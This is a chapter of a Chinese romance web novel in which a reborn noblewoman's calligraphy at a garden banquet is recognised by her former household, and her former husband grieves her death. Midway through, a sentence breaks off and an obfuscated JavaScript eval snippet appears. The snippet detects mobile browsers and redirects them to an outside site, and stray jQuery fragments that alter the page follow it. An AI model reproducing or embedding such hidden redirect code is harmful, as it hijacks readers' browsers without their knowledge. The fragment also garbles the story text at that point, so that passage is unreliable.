16. 第 16 章

作品:《替侯府千金出嫁以后

    婢子们迈着莲步走近,手中漆盘中整齐摆放着纸墨笔砚,皆为上等文房珍品。走到几案前,婢子们弯腰垂首,语气恭敬温顺:“请姑娘们留墨宝。”


    清殊目光落在漆盘上,宽不过二指的纸条隐隐泛着柔光,这纸是上好的蠲纸,色泽洁白微黄,纸面上细密的纹理如流水般流畅。蠲纸因采用上乘的竹料与细麻为材,经过反复的捶打漂洗后变得柔韧而透气,可以落墨不洇。


    狼毫毛笔由乌木制成的笔柄光滑温润,青色洮砚砚面光滑如镜,而端溪墨有松烟入料,一股清幽墨香随之而出。这些都是从前她用惯的东西,无论触觉、气味都没有半点变化。


    这时一个婆子站在廊下低声训斥个小婢子,碍于有外客在,也不好直接啐,就是语气里带了刀,骂着:“让你仔细不仔细,将这盘樱桃毕罗跌在地上,这是送去给大娘子的点心,我看你是皮痒了!”


    小婢子嗫嚅道:“鹅卵石滑了些,婢子怕这金铛落地,没来得及顾里面的毕罗……”


    清殊往婢子手上看去,单柄叶芽形的金铛下面有三个兽足,从外底部中心分出九条水波纹曲线,小小的方形刻着“雪家制金。”


    婆子听了这话越发气起来,扯住小婢子的耳朵往那边去:“还敢顶嘴,到厨房后面跪着去……”


    话未说完,发现清殊正在看她们,立即越过小婢子满脸堆笑地对她点头哈腰,夺下小婢子手中的金铛往桌案上一放,拉着小婢子走了。


    清殊不由自主地走过去拿起金铛,“雪家制金”几个字方方正正,这自然是她的嫁妆没错。


    “贵人娘子……”一个婢子走上去,不好意思地指了指金铛。清殊回过神来,有些不舍,但到底是将金铛放进了婢子手上。


    走回木案旁,她望着碧空,同样的天空下面,同样的地方,往日种种,如梦幻泡影。今日种种,重头来过。


    拂去笔尖多余的墨汁,腕悬肘起,笔锋稳稳落在了蠲纸上。


    一个“逢”字捺笔稍稍延长,腕随心转,笔锋逆起顺收;“生”字顺势而来,饱满有力,收笔干脆洒脱。


    二字成篇,线条笔画浓淡分明,她轻轻将纸条搁在了托盘中。


    此时曲水流觞处,婢子们捧着银盆等待客人盥手。


    大周不讲男女大防,男宾们聚在一起稍坐得远一些。阳光微摇,丝竹乐声交织,少年男子们暖一壶绍兴酒,要么煮一壶碧螺春,琼酥金脍,热菜凉卤应有尽有。有人已醺醺然,大多松弛而坐,一齐唱今下最广为流传的词曲,情调实在是好,一番太平气象,富贵风流。


    谢骋对唱词,吃东西的兴趣都不大,脸上挂着不在意的笑容,一条镶玉扣的黑色腰带一系更显得他腰窄肩宽,幞头倒是一丝不苟,鬓边的碎发有点玩世不恭的意思。


    筷子在面前肴馔上拿起又放下。


    其他少年男子们坐在一起,唱得尽兴,又夸赞了一番李家郎真乃当世诗仙,然后嘴上议论着监造海舫,修理运河,说各国进贡朝贺,眼睛却没停地往稍远处望。


    偶然看见一个脸生的少女,就把嘴上说的那些道理都给忘了,只顾着看忘了说。


    大周朝的女孩子们落落大方,也在明明白白地看男子,有些看得热切火辣,反而将这边的男人看红了脸。


    少年时的情感最真挚热烈,刚束发及笄的少年男女总是想要寻一个最称意的对象,这个人应该有比拟泰山的高尚品德,也理所应当有一张比最俊美的人还要漂亮几分的面庞。


    坐在谢骋旁边的黑衣少男抿了口酒,嘴上有一搭没一搭地胡聊,眼睛随意一瞥忽然停住了。


    他看见一位少女身穿朝霞站在翠绿芭蕉之中,水光澄碧,翠带轻拂,浓黑长发绾成双鬟髻,抬手拿笔的动作精谨,广袖并未沾到墨汁一丝一毫。


    一张脸与芙蓉花似的。


    这可是真正的一眼万年,黑衣少男又愣又惊:“那位姑娘我以前怎么从来未见过?简直是天上仙人。”


    旁边人打趣:“世家贵女们还有你没见过的?哪一个?”


    说着话顺势看去,结果也成了呆雁。


    少年时候对美的追求粗放又大胆,特别对这些出身优渥的年轻人来说,追逐美事、美差、美人,已经融进了王朝昌盛繁华的日常生活之中。


    “站在在谢二哥妹子旁边写字的,你们谁认识?简直是回眸一笑盛星华啊。”一身玄色圆领袍的男子难掩惊叹,向那边指去。


    谢骋抬眉看了一眼,手指间夹着杯盏,挑了挑眉:“用《妾薄命》里的词形容我二妹妹,你是想死?”


    “二妹妹?你什么时候有个二妹妹?”翠青长袍的少年人马上追问,不自觉地靠近了许多。


    谢骋心说你们打听什么,一个个整日不思进学,双陆棋子却玩得水滑的东西有什么资格打听我二妹妹。


    瞥了一眼问话之人,嘴上敷衍道:“一直养在家中没参加过席面。”


    “谢二哥!从没听说你还有一个这样出色的妹妹。你们家把宝贝藏得够严实的。”


    谢骋斜着看了说话人一眼。


    那人自觉说的过分了,世家姑娘自然不能被随便开玩笑,讪讪的转了转脑袋,谢骋抬手给了他脑袋一巴掌。


    这重掌甩下打得人头昏眼花,其他人赶紧肃目敛容地坐在谢骋附近,再不敢有冒犯之言只是恭恭敬敬的一字一句打听。


    谢骋心烦,不愿意搭理他们。


    清殊目送婢子端着漆盘往下一个人那边去。她看着碧绿的茶汤,自觉是受了打击不错,可是并没有崩溃。她不禁为自己的这种坚强叫好,虽然思绪已经有些踉跄。


    这世上人谁不是扶墙而行呢,摸着石头过河,趟过河滩,失去爹娘的时候,她对自己说,爹娘在彼岸河边等她,后来彼岸没有接收她,反而让她在这尘世中再多活一场。


    很快姑娘世子们愿意留字的都写了些,世家大族的后辈大多是从小跟随名师严格习字,所以簪花小楷也好,飞龙行书也罢,各有各的风雅。


    婢子们将收到的纸条一股脑倒在梅花盆景旁的案几上,在一旁站着打瞌睡的管事用手捂住嘴巴打了个大大的哈欠,挥舞着他手上折扇,指挥着婢子们将墨宝们收拾了,找个好日子装裱出来放进后库。


    “都仔细些,小心掉了或沾染了水。给我挺直腰背低下头,别一个个拿肚脐眼看人。还有走路离贵人们都远些,别想着学那话本子里的算计,没眼色的冲撞了客人。”管事的说着又打了个哈欠。


    主子喜欢书法作品,其中的缘故别人不知,他这个一直跟在身边的是清楚的很,不过他可不敢说,每每顾大娘子问起来,他都是装聋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822928|158415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作哑才保得在这府里待下去,那些对这事知道大概的人,都被发配到了庄子去,吃穿用度大不如前不说,还有病死的。


    除了那隐秘的缘由以外,管事的认为主子收集贵门子弟书法的做法还有许多其他意图,其中一个他最易想到的就是等来日哪位在朝堂崭露头角,用这字可以拉拉关系。


    他只是个仆从能想到的也就这么多了,虽然揣摩主子心意是近身仆从的本事,可是过度揣摩就会很危险,主子愿意赏脸,做近侍的也得进退有度。管事的不再思考这件事,随意向案几上斜睃了一眼,瞥到其中一张字条时登时一惊。


    这是……


    额角的青筋“噔”地一跳,眼睛也瞪得溜圆,手上装作文化人的那柄两尺长的折扇蓦地一收。


    这粗放遒劲的笔法他太熟悉了,主子称赞,从前的雪大姑娘文辞敏捷,一手行书别具风神。


    同样的行书如今还挂在主子书房里,他去回禀事情的时候日日都看得见,怎么可能认错!


    旁边等待的婆子见这管事的出神,与他道:“皮影戏班子已经准备好了,只是外面扎灯笼的说那点银钱断断不行,还得再使些,您听见我说的话了吗?”


    见管事的不回应,婆子手指在桌面笃笃叩击了几下,“银钱,还需要批些银钱!”


    “等会儿再说!”管事哪里顾得上婆子,这震惊非同小可,他转身就去找人。


    这时一位二十出头的青年走近来,拿起清殊的字条。


    她的字疏狂古拙又豪爽恣意,沈序拿起这字条看了一会儿然后很随意自然地将它收进了袖口。


    字随人心,能写出这样的字,写字的人应该不差。


    片刻后萧际匆匆而来,暗紫色的锦袍被风卷起一角。他五官生的俊美,眉峰如刀,硬生生按下眼中的急切。


    管事的站在案几前,翻动着一张张字条,还是一筹莫展。


    “刚刚明明看见了……”管事碰倒了木案上玉瓶子中插着的迎春花蕊,他赶紧扶起玉瓶,搓着手极力回想:“就是雪姑娘的字,怎么片刻功夫就没有了……”


    萧际微微一顿,目光扫过案几,最后垂落在自己的掌心,空荡荡的,什么也没有。他的唇角动了动,可最终什么也没说。这本来就是不可能的事,就算是笔迹相似也不是她了。


    自己还在期盼些什么?


    萧际摇了摇头,也没有责怪管事的,只是摆摆手:“算了,去吧。”


    “小的去安排戏班子。”管事的一脸懊丧,得了萧际点头示意,转身跑走了。等管事走远以后,萧际在桌案前坐下。


    她死的时候,他没想过会这样思念她,她死了这些年,他竟没有一天不想她。


    特别在这春和景明的日子,这思念就越发噬人,或许是因为她当时未能看到下一个春天,就那样死在了冬日大雪之后。


    她是那样好的一个人,嫁给他前也是活泼无比,嫁进府中变得柔顺又安静,本来也是什么都不缺的姑娘,因为爱他才明堂正道的与他作了妾。


    阳光从芭蕉叶的缝隙穿行过来,照亮地上的一方青石。他好像看见她也从那大片的绿色中走出来,光点缀在她梳得整整齐齐的鬓边,她笑吟吟地,歪头瞧他。


    萧际疲惫地闭上眼睛。


    说到底,是他对她不起。